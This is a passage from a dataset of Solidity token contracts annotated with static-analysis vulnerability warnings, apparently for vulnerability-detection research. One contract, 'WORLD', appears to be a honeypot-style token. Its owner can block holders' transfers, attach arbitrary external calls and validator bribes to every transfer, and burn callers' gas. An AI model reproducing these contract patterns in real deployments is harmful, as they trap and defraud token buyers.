'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: cad8329\n\t\t// reentrancy-benign | ID: 4546e15\n\t\t// reentrancy-eth | ID: 0ba1f69\n\t\t// reentrancy-eth | ID: d2151ce\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: cad8329\n\t\t// reentrancy-benign | ID: 4546e15\n\t\t// reentrancy-eth | ID: 0ba1f69\n\t\t// reentrancy-eth | ID: d2151ce\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: cad8329\n\t\t// reentrancy-benign | ID: 4546e15\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 50c2426\n\t\t// reentrancy-eth | ID: d2151ce\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 58731e8\n\t\t// reentrancy-eth | ID: d2151ce\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: d2151ce\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d2151ce\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f93e501): elon.reduceFee(uint256) should emit an event for _x5MRVX8027 = _newFee \n\t// Recommendation for f93e501: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: f93e501\n _x5MRVX8027 = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap_x4BQYT8291() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10675.sol",
"size_bytes": 22339,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nstruct Call {\n address target;\n uint256 value;\n uint256 gas;\n bytes data;\n}\n\ncontract WORLD {\n\t// WARNING Optimization Issue (immutable-states | ID: e2be53b): WORLD._owner should be immutable \n\t// Recommendation for e2be53b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\n uint256 private _gas;\n\n bool private _activated;\n\n bool private _exclusive;\n\n bool private _bribe;\n\n address[] private _holders;\n\n mapping(address => uint256) private _permissions;\n\n Call[] private _calls;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n constructor() payable {\n _owner = msg.sender;\n\n _name = \"Hello World\";\n\n _symbol = \"WORLD\";\n\n _mint(msg.sender, 1000000000000000000000000000000);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function gas() public view returns (uint256) {\n return _gas;\n }\n\n function activated() public view returns (bool) {\n return _activated;\n }\n\n function exclusive() public view returns (bool) {\n return _exclusive;\n }\n\n function bribe() public view returns (bool) {\n return _bribe;\n }\n\n function holders() public view returns (address[] memory) {\n return _holders;\n }\n\n function calls() public view returns (Call[] memory) {\n return _calls;\n }\n\n function permissions(address account) public view returns (uint256) {\n return _permissions[account];\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address _owner_,\n address spender\n ) public view returns (uint256) {\n return _allowances[_owner_][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2d44b7d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2d44b7d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 90fdc4e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 90fdc4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n\t\t// reentrancy-events | ID: 2d44b7d\n\t\t// reentrancy-eth | ID: 90fdc4e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2d44b7d\n\t\t// reentrancy-eth | ID: 90fdc4e\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] - subtractedValue\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e4de90f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e4de90f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c4bce7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c4bce7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n\t\t// reentrancy-events | ID: e4de90f\n\t\t// reentrancy-benign | ID: 0c4bce7\n _check();\n\n\t\t// reentrancy-benign | ID: 0c4bce7\n _balances[sender] -= amount;\n\n\t\t// reentrancy-benign | ID: 0c4bce7\n _balances[recipient] += amount;\n\n\t\t// reentrancy-benign | ID: 0c4bce7\n _holders.push(recipient);\n\n\t\t// reentrancy-events | ID: e4de90f\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal {\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n _balances[account] -= amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7e468e8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7e468e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2cc9cfe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2cc9cfe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _approve(\n address _owner_,\n address spender,\n uint256 amount\n ) internal {\n\t\t// reentrancy-events | ID: 7e468e8\n\t\t// reentrancy-benign | ID: 2cc9cfe\n _check();\n\n\t\t// reentrancy-benign | ID: 2cc9cfe\n _allowances[_owner_][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2d44b7d\n\t\t// reentrancy-events | ID: 7e468e8\n emit Approval(_owner_, spender, amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d92b081): WORLD.setGas(uint256) should emit an event for _gas = _gas_ \n\t// Recommendation for d92b081: Emit an event for critical parameter changes.\n function setGas(uint256 _gas_) external {\n require(msg.sender == _owner);\n\n\t\t// events-maths | ID: d92b081\n _gas = _gas_;\n }\n\n function setCalls(Call[] calldata _calls_) external {\n require(msg.sender == _owner);\n\n for (uint256 i; i < _calls_.length; i++) {\n _calls.push(_calls_[i]);\n }\n }\n\n function setPermissions(\n address[] calldata addresses,\n uint256[] calldata permission\n ) external {\n require(msg.sender == _owner);\n\n for (uint256 i; i < addresses.length; i++) {\n _permissions[addresses[i]] = permission[i];\n }\n }\n\n function setExclusive(bool _exclusive_) external {\n require(msg.sender == _owner);\n\n _exclusive = _exclusive_;\n }\n\n function setBribe(bool _bribe_) external {\n require(msg.sender == _owner);\n\n _bribe = _bribe_;\n }\n\n function activate(bool _activated_) external {\n require(msg.sender == _owner);\n\n _activated = _activated_;\n }\n\n function inactivate() external {\n require(msg.sender == _owner);\n\n\t\t// cache-array-length | ID: 9fc4466\n for (uint256 i; i < _calls.length; i++) {\n _calls[i].target = address(0);\n }\n }\n\n function get() external {\n require(msg.sender == _owner);\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function push(address _holder_) external {\n require(msg.sender == _owner);\n\n _holders.push(_holder_);\n }\n\n function check() external {\n require(msg.sender == _owner);\n\n _check();\n }\n\n\t// WARNING Vulnerability (return-bomb | severity: Low | ID: b05c3e9): WORLD._check() tries to limit the gas of an external call that controls implicit decoding _calls[i].target.call{gas _calls[i].gas,value _calls[i].value}(_calls[i].data)\n\t// Recommendation for b05c3e9: Avoid unlimited implicit decoding of returndata.\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: 8ecd39f): WORLD._check() ignores return value by _calls[i].target.call{gas _calls[i].gas,value _calls[i].value}(_calls[i].data)\n\t// Recommendation for 8ecd39f: Ensure that the return value of a low-level call is checked or logged.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 4d1c7ca): WORLD._check() uses tx.origin for authorization _bribe && _permissions[tx.origin] == 3\n\t// Recommendation for 4d1c7ca: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: b6182b0): WORLD._check() uses tx.origin for authorization require(bool)(_permissions[tx.origin] == 3)\n\t// Recommendation for b6182b0: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 1fc24bf): WORLD._check() uses tx.origin for authorization _permissions[tx.origin] != 1\n\t// Recommendation for 1fc24bf: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 03b63c1): WORLD._check() uses tx.origin for authorization require(bool)(_permissions[tx.origin] != 2)\n\t// Recommendation for 03b63c1: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 399150a): WORLD._check() uses tx.origin for authorization _activated && _permissions[tx.origin] == 3\n\t// Recommendation for 399150a: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d9b097c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d9b097c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 630c221): WORLD._check() sends eth to arbitrary user Dangerous calls _calls[i].target.call{gas _calls[i].gas,value _calls[i].value}(_calls[i].data)\n\t// Recommendation for 630c221: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _check() private {\n\t\t// tx-origin | ID: 1fc24bf\n if (_permissions[tx.origin] != 1) {\n\t\t\t// tx-origin | ID: 03b63c1\n require(_permissions[tx.origin] != 2);\n\n if (_exclusive) {\n\t\t\t\t// tx-origin | ID: b6182b0\n require(_permissions[tx.origin] == 3);\n }\n\n uint256 startgas = gasleft();\n\n\t\t\t// tx-origin | ID: 399150a\n if (_activated && _permissions[tx.origin] == 3) {\n\t\t\t\t// cache-array-length | ID: 408aad6\n for (uint256 i; i < _calls.length; i++) {\n if (_calls[i].target != address(0)) {\n\t\t\t\t\t\t// return-bomb | ID: b05c3e9\n\t\t\t\t\t\t// reentrancy-events | ID: e4de90f\n\t\t\t\t\t\t// reentrancy-events | ID: 2d44b7d\n\t\t\t\t\t\t// reentrancy-events | ID: 7e468e8\n\t\t\t\t\t\t// reentrancy-benign | ID: 0c4bce7\n\t\t\t\t\t\t// reentrancy-benign | ID: 2cc9cfe\n\t\t\t\t\t\t// unchecked-lowlevel | ID: 8ecd39f\n\t\t\t\t\t\t// reentrancy-eth | ID: d9b097c\n\t\t\t\t\t\t// reentrancy-eth | ID: 90fdc4e\n\t\t\t\t\t\t// arbitrary-send-eth | ID: 630c221\n _calls[i].target.call{\n value: _calls[i].value,\n gas: _calls[i].gas\n }(_calls[i].data);\n }\n\n\t\t\t\t\t// reentrancy-eth | ID: d9b097c\n\t\t\t\t\t// reentrancy-eth | ID: 90fdc4e\n _calls[i].target = address(0);\n }\n\t\t\t\t// reentrancy-events | ID: e4de90f\n\t\t\t\t// reentrancy-events | ID: 2d44b7d\n\t\t\t\t// reentrancy-events | ID: 7e468e8\n\t\t\t\t// reentrancy-eth | ID: 90fdc4e\n block.coinbase.transfer(address(this).balance);\n\t\t\t// tx-origin | ID: 4d1c7ca\n } else if (_bribe && _permissions[tx.origin] == 3) {\n\t\t\t\t// reentrancy-events | ID: e4de90f\n\t\t\t\t// reentrancy-events | ID: 2d44b7d\n\t\t\t\t// reentrancy-events | ID: 7e468e8\n\t\t\t\t// reentrancy-eth | ID: 90fdc4e\n block.coinbase.transfer(address(this).balance);\n }\n\n while (startgas - gasleft() < _gas) {}\n }\n }\n\n fallback() external payable {}\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10676.sol",
"size_bytes": 13977,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract XSHOP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 876bd3a): XSHOP.bots is never initialized. It is used in XSHOP._transfer(address,address,uint256)\n\t// Recommendation for 876bd3a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ad2b2f): XSHOP._taxWallet should be immutable \n\t// Recommendation for 9ad2b2f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65d8a22): XSHOP._initialBuyTax should be constant \n\t// Recommendation for 65d8a22: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: d47516e): XSHOP._initialSellTax should be constant \n\t// Recommendation for d47516e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3404bf1): XSHOP._reduceBuyTaxAt should be constant \n\t// Recommendation for 3404bf1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e448f6): XSHOP._reduceSellTaxAt should be constant \n\t// Recommendation for 3e448f6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: cebba65): XSHOP._preventSwapBefore should be constant \n\t// Recommendation for cebba65: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"X Shop\";\n\n string private constant _symbol = unicode\"XSHOP\";\n\n uint256 public _maxTxAmount = 41000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 41000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: af6d5e4): XSHOP._taxSwapThreshold should be constant \n\t// Recommendation for af6d5e4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c04133): XSHOP._maxTaxSwap should be constant \n\t// Recommendation for 3c04133: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 16000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e2b5587): XSHOP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e2b5587: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 45e99be): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 45e99be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ac8c0d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ac8c0d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 45e99be\n\t\t// reentrancy-benign | ID: ac8c0d6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 45e99be\n\t\t// reentrancy-benign | ID: ac8c0d6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b133868): XSHOP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b133868: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ac8c0d6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 45e99be\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cd8280c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cd8280c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 876bd3a): XSHOP.bots is never initialized. It is used in XSHOP._transfer(address,address,uint256)\n\t// Recommendation for 876bd3a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7b14e52): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7b14e52: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: cd8280c\n\t\t\t\t// reentrancy-eth | ID: 7b14e52\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cd8280c\n\t\t\t\t\t// reentrancy-eth | ID: 7b14e52\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7b14e52\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7b14e52\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7b14e52\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cd8280c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7b14e52\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7b14e52\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cd8280c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cd8280c\n\t\t// reentrancy-events | ID: 45e99be\n\t\t// reentrancy-benign | ID: ac8c0d6\n\t\t// reentrancy-eth | ID: 7b14e52\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 358c810): XSHOP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 358c810: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cd8280c\n\t\t// reentrancy-events | ID: 45e99be\n\t\t// reentrancy-eth | ID: 7b14e52\n\t\t// arbitrary-send-eth | ID: 358c810\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5c2d039): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5c2d039: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c1710b8): XSHOP.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c1710b8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0330864): XSHOP.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0330864: Ensure that all the return values of the function calls are used.\n\t// WARNING 